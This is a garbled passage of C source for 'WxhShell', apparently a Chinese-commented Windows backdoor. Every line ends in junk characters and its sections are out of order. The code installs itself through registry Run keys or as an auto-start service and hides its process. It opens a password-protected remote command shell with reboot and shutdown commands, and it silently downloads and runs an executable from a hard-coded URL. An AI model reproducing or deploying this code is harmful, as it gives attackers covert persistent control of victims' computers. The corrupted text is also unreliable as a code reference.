ULONG UniqueProcessId; ?nFO:N<
ULONG InheritedFromUniqueProcessId; "mIgs9l$
} PROCESS_BASIC_INFORMATION; pyB~M9Bp/
S GcBmjP
PROCNTQSIP NtQueryInformationProcess; sQ1jrkm
d53 L65[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
4%ZM:/
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5cfA;(H
,4@|1z{bfm
HANDLE hProcess; LAs7>hM
PROCESS_BASIC_INFORMATION pbi; E5G{B'%j
VWf %v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /iM$Tb5
if(NULL == hInst ) return 0; 79Bg]~}Z
?y7w} W
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3<(q }
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4zc<GL3[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 45+{nN[
@h?crJ6$
if (!NtQueryInformationProcess) return 0; &a)vdlZSE=
kU*{4G|6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0Xl%uF+w
if(!hProcess) return 0; \M+L3*W
xHkxc}h
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :pC;`iQ
'Cg{_z.~c
CloseHandle(hProcess); lF4u{B9DM
i g71/'D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X>l*v\F9
if(hProcess==NULL) return 0; G*n2Ii
j$@tK0P
HMODULE hMod; `rFAZcEj%
char procName[255]; mP}#Ccji?
unsigned long cbNeeded; Np,2j KF(
=,/D/v$m'2
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #$ 1$T
4E3g,%9u
CloseHandle(hProcess); 9`Q@'(m
IB$7`7
if(strstr(procName,"services")) return 1; // 以服务启动 jj&s}_75
tJZc/]%`H
return 0; // 注册表启动 d/U."V}
} p+w8$8)
T[uDZYx
// 主模块 O.+9,4A(
int StartWxhshell(LPSTR lpCmdLine) $RO$}!
{ M7dU@ Ag
SOCKET wsl; i@$*Csj\9*
BOOL val=TRUE; isK;mU?<
int port=0; _j ;3-m
struct sockaddr_in door; t&RruwN_;
O!F]^'!
if(wscfg.ws_autoins) Install(); *"9<TSU%m
_%pAlo_6
port=atoi(lpCmdLine); 4<v;1
u<Xog$esu
if(port<=0) port=wscfg.ws_port; p^QZ q>v
W|UtY`1
WSADATA data; D<):ZfUbI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; shFc[A,r}
<d7xt*4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =!0I_L/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1/iE`Si
door.sin_family = AF_INET; cf;Ht^M\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); L\ j:
door.sin_port = htons(port); wGLF%;rRe4
Dkw7]9Qm
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SI-X[xf
closesocket(wsl); eBcJm
return 1; l5O=VqCj
} o/p-!
F[E?A95W
if(listen(wsl,2) == INVALID_SOCKET) { %$mjJw<|&
closesocket(wsl); ^R_e
return 1; @.9I3E-=
} `E>vG-9
Wxhshell(wsl); Ijo(^v@
WSACleanup(); Yp5L+~J[
=3'(A14C=
return 0; kX;$}7n
])T/sO#'
} C1B'#F9EO
T9jw X:n
// 以NT服务方式启动 TQ'E5^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S@}4-\
{ 5Pke8K
DWORD status = 0; 32>x^>G=>
DWORD specificError = 0xfffffff; _l&ucA
`wO}Hz
serviceStatus.dwServiceType = SERVICE_WIN32; 9([6d.`~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; nX[;^v/
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZKdh%8C
serviceStatus.dwWin32ExitCode = 0; Sb"2Im >
serviceStatus.dwServiceSpecificExitCode = 0; &Ocu#Cb
serviceStatus.dwCheckPoint = 0; J!p<oW)a!
serviceStatus.dwWaitHint = 0; x ^vt; $
<r\I"z$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '2v f|CX
if (hServiceStatusHandle==0) return; ExrY>*v
6
=>G#
status = GetLastError(); ! D1zXXq
if (status!=NO_ERROR) !nw[
{ X"/~4\tJ"
serviceStatus.dwCurrentState = SERVICE_STOPPED; dWpk='
serviceStatus.dwCheckPoint = 0; ,"G\f1
serviceStatus.dwWaitHint = 0; m|4LbWz
serviceStatus.dwWin32ExitCode = status; Tg''1 Wl*
serviceStatus.dwServiceSpecificExitCode = specificError; HeS'~Z$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f=_g8+}h
return; {LB`)Kuu
} rsxRk7s@
z7=fDe
-
serviceStatus.dwCurrentState = SERVICE_RUNNING; =5s$qb?#
serviceStatus.dwCheckPoint = 0; 0dt"ZSm
serviceStatus.dwWaitHint = 0; >oY^Gx
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -c={+z "
} "c
Pz|~
QJXdb]Y^;
// 处理NT服务事件,比如:启动、停止 8/q*o>[?
VOID WINAPI NTServiceHandler(DWORD fdwControl) O@,i1ha%
{ !S,pRS+
switch(fdwControl) Z_itu73I
{ wn84?$BGd
case SERVICE_CONTROL_STOP: L@A9{,9Pl
serviceStatus.dwWin32ExitCode = 0; hqW$kw
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'NjSu64W
serviceStatus.dwCheckPoint = 0;
rPTfpeqN)
serviceStatus.dwWaitHint = 0; Xj,j0
{ e_.~n<=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (02g#A`
} EfSMFPM
return; yN:>!SQ
case SERVICE_CONTROL_PAUSE: Qp+lJAY
serviceStatus.dwCurrentState = SERVICE_PAUSED; :,YLx9i>
break; }td6fj_{
case SERVICE_CONTROL_CONTINUE: #W5Yw>$
serviceStatus.dwCurrentState = SERVICE_RUNNING; /(zB0TEd
break; D_ ug-<QT
case SERVICE_CONTROL_INTERROGATE: 3"tg+DncC
break; Pd],}/ZG-
}; 8IOj[&%0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hht+bpHl
} +Ag#B*
k2uBaj]
// 标准应用程序主函数 c Vg$dt
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =,E'~P
{ a71}y;W
Y3M','H([
// 获取操作系统版本 K~JC\a\0
OsIsNt=GetOsVer(); OR~G Ov|
GetModuleFileName(NULL,ExeFile,MAX_PATH); (WMLNv
G5+]DogS
// 从命令行安装 7b,AQ9
if(strpbrk(lpCmdLine,"iI")) Install(); i n?T]}
y`+<X{V5L
// 下载执行文件 SyB-iQn
if(wscfg.ws_downexe) { ._(z~3s
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) buc*rtHfA
WinExec(wscfg.ws_filenam,SW_HIDE); Esa6hU#
} dw99FA6
5j1 IH,yW
if(!OsIsNt) { p1?J
// 如果时win9x,隐藏进程并且设置为注册表启动 a;yV#Y
HideProc(); auoA
StartWxhshell(lpCmdLine); L]NYYP-
} d-i&k(M
else |{!Ns +'
if(StartFromService()) oHRbAE^
// 以服务方式启动 WiwwCKjSa
StartServiceCtrlDispatcher(DispatchTable); lmp
R>@o"
else 10TSc
j
// 普通方式启动 %9.bu|`KK
StartWxhshell(lpCmdLine); Y?e3B x7*b
KZ
@l/s
return 0; EKJH_!%
} EK.c+Or,
8ZzU^x
~Gwas0eNa
%rX\
P
=========================================== G dL4|xv
\O,j}O'
Q.uR<C6)v
%pM :{Z
@]<DR*<
eb(m8vLR
" >4#tkv>S.
d`<#}-nh
#include <stdio.h> 2/UI>@By
#include <string.h> P@-R5GK
#include <windows.h> Mof)2Hbd:
#include <winsock2.h> 9EjjkJ%)q
#include <winsvc.h> ^>t-v
#include <urlmon.h> YU*46 hA1B
r)(i{:@r`
#pragma comment (lib, "Ws2_32.lib") X%*brl$D
#pragma comment (lib, "urlmon.lib") S/)
=+k&&vOAn
#define MAX_USER 100 // 最大客户端连接数 [v~Uy$d\
#define BUF_SOCK 200 // sock buffer dcM+ylB
#define KEY_BUFF 255 // 输入 buffer Z,(%v.d
0FN~$+t)H
#define REBOOT 0 // 重启 mp muziH
#define SHUTDOWN 1 // 关机 8o%E&Jg:
M_|M&lR>
#define DEF_PORT 5000 // 监听端口 ,2E`:#$
n,1NJKX
#define REG_LEN 16 // 注册表键长度 \qRjXadj
#define SVC_LEN 80 // NT服务名长度 nqUH6(
#r-j.f}yx
// 从dll定义API 0 [*nAo
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -aTg>Q|g&
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a [0N,t
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \>w@=bq26
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /0X0#+kn
5mDVFb 3a
// wxhshell配置信息 XtnIK
struct WSCFG { }D8~^
int ws_port; // 监听端口 k
QB 1=c
char ws_passstr[REG_LEN]; // 口令 *_}IeNc
int ws_autoins; // 安装标记, 1=yes 0=no LS*{]@8q
char ws_regname[REG_LEN]; // 注册表键名 Sj,4=a
char ws_svcname[REG_LEN]; // 服务名 V;/
XG}M
char ws_svcdisp[SVC_LEN]; // 服务显示名 w;z@py
char ws_svcdesc[SVC_LEN]; // 服务描述信息 WXRHG)nvL
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {[H4G,QK
int ws_downexe; // 下载执行标记, 1=yes 0=no ~x76{.gT
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #J'Z5)i|
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D>,$c
W ??;4
}; 2{jtQlc
iA5*
_tK5
// default Wxhshell configuration =k[(rvU3
struct WSCFG wscfg={DEF_PORT, ]Hv*^Bak
"xuhuanlingzhe", ])3lH%4-
1, _.oRVYK/
"Wxhshell", ./aZV
"Wxhshell", Q;{D8 #!
"WxhShell Service", 9RbGa
Y&
"Wrsky Windows CmdShell Service", : 8p2Jxm
"Please Input Your Password: ", dn:|m^<)
1, >Rx8 0
"http://www.wrsky.com/wxhshell.exe", 6i*p
+S?U"
"Wxhshell.exe" *m `KU+o-u
}; Y9\]3Kno
1o"y%*"
// 消息定义模块 38zR\@'j]4
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :y<Cd[/
char *msg_ws_prompt="\n\r? for help\n\r#>"; <S:,`v&Z
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hO:)=}+H
char *msg_ws_ext="\n\rExit."; >@q2FSMf
char *msg_ws_end="\n\rQuit."; VO\S>kw
char *msg_ws_boot="\n\rReboot..."; #!K~_DL
char *msg_ws_poff="\n\rShutdown..."; FRs|!\S=
char *msg_ws_down="\n\rSave to "; +c~O0U1
2J>A;x_?
char *msg_ws_err="\n\rErr!"; >=]NO'?O
char *msg_ws_ok="\n\rOK!"; Hzk1LKsT#
Wb*T
char ExeFile[MAX_PATH]; r!-L`GUm
int nUser = 0; Ugee?;]lu
HANDLE handles[MAX_USER]; 7.F& {:@_
int OsIsNt; W! 5Blo
)%nt61P\W
SERVICE_STATUS serviceStatus; &B{Jxc`VA
SERVICE_STATUS_HANDLE hServiceStatusHandle; FW6E)df
f%(e,KgW=
// 函数声明 \?p9qR;"4
int Install(void); h}c6+@w&-
int Uninstall(void); @$N*lrM2
int DownloadFile(char *sURL, SOCKET wsh); 2={K-s20
int Boot(int flag); &
Q|f *T
void HideProc(void); iZVT% A+q
int GetOsVer(void); ;]8p:ME
int Wxhshell(SOCKET wsl); H/ B^N,oi
void TalkWithClient(void *cs); XO8 H]
int CmdShell(SOCKET sock); "pKGUM
int StartFromService(void); "' i [~
int StartWxhshell(LPSTR lpCmdLine); UJyiRP:#]>
yA`]%U((
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [1[[$ Dr
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <_FF~lj
;Wp`th!F
// 数据结构和表定义 5p(t")
SERVICE_TABLE_ENTRY DispatchTable[] = P(W\aLp
{ AyI}LQm]u
{wscfg.ws_svcname, NTServiceMain}, S^sW.(I
{NULL, NULL} (p#;6Xhf
}; Td=]tVM
R'$ T6FB5
// 自我安装 t'_,9
int Install(void) y:(C=*^<t
{ ES2d9/]p-
char svExeFile[MAX_PATH]; ^b/q|(Nu&
HKEY key; V!aC#^
strcpy(svExeFile,ExeFile); VG*=)8{
x]jdx#'
// 如果是win9x系统,修改注册表设为自启动 6iAc@
if(!OsIsNt) { dwsy(g7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FKvO7? K
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /*xmv
$
RegCloseKey(key); eyl) uR
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [^"(%{H
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D%";!7u
RegCloseKey(key); !WVabdt
return 0; Fr Q-v]c
} pC?1gc1G
} \T#(rt\j
} nms<6kfzL
else { p~{%f#V
2
3XAkpzp$
// 如果是NT以上系统,安装为系统服务 B?zS_Ue
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kgI.kT(=
if (schSCManager!=0) GE| ^ryh
{ 2%No>w}/2
SC_HANDLE schService = CreateService ]nr
BmKB
( ZkVvL4yIK
schSCManager, -uY:2
wscfg.ws_svcname, sn T4X
wscfg.ws_svcdisp, cDh4@V
SERVICE_ALL_ACCESS, :_[cT,3
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '| Q*~Lh
SERVICE_AUTO_START, H9a3rA>
SERVICE_ERROR_NORMAL, WFc[F`b
svExeFile, }5c'ui!3H
NULL, eVNBhR}HS
NULL, t1_y1!uQ
NULL, 7^Q$pT>
NULL, R~mMGz
NULL W0 ,"V'C
); (H|d 3
if (schService!=0) Ia>th\_&
{ 9!/1F !
CloseServiceHandle(schService); l`w|o
CloseServiceHandle(schSCManager); `[HoxCV3o
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); otnY{r*
strcat(svExeFile,wscfg.ws_svcname); +^3L~?
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o\V4qekk
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gpp}Jpj
RegCloseKey(key); U3R`mHr0
return 0; :|6D@
} .$E~.6J %i
}
8 $*cfOC
CloseServiceHandle(schSCManager); 4!b'%)
} VBj;2~Xj4h
} K&~#@I;
}n&JZ`8<s
return 1; 1*`JcUn,>
} UC2OYZb
KcyM2hE7
// 自我卸载 u$`x]K=Zsm
int Uninstall(void) RgzSaP;;
{ 2|H'j~
HKEY key; U3iyuE
5r}(|86O/
if(!OsIsNt) { VlXy&oZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~$&r(9P
RegDeleteValue(key,wscfg.ws_regname); |k9j )Hg(
RegCloseKey(key); $TW+LWb
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qmh(+-Mp(
RegDeleteValue(key,wscfg.ws_regname); LCm}v&~%A
RegCloseKey(key); QMfy^t+I
return 0; *gMP_I
} j`-y"6)
} MicVNs
} KKTfxNxJn
else { {(:)
.`8,$"`4)
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?g1.-'
if (schSCManager!=0) DB=cc
{ ^*~u4app
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _EBDv0s
if (schService!=0) lkJ#$Ik&
{ H"
g&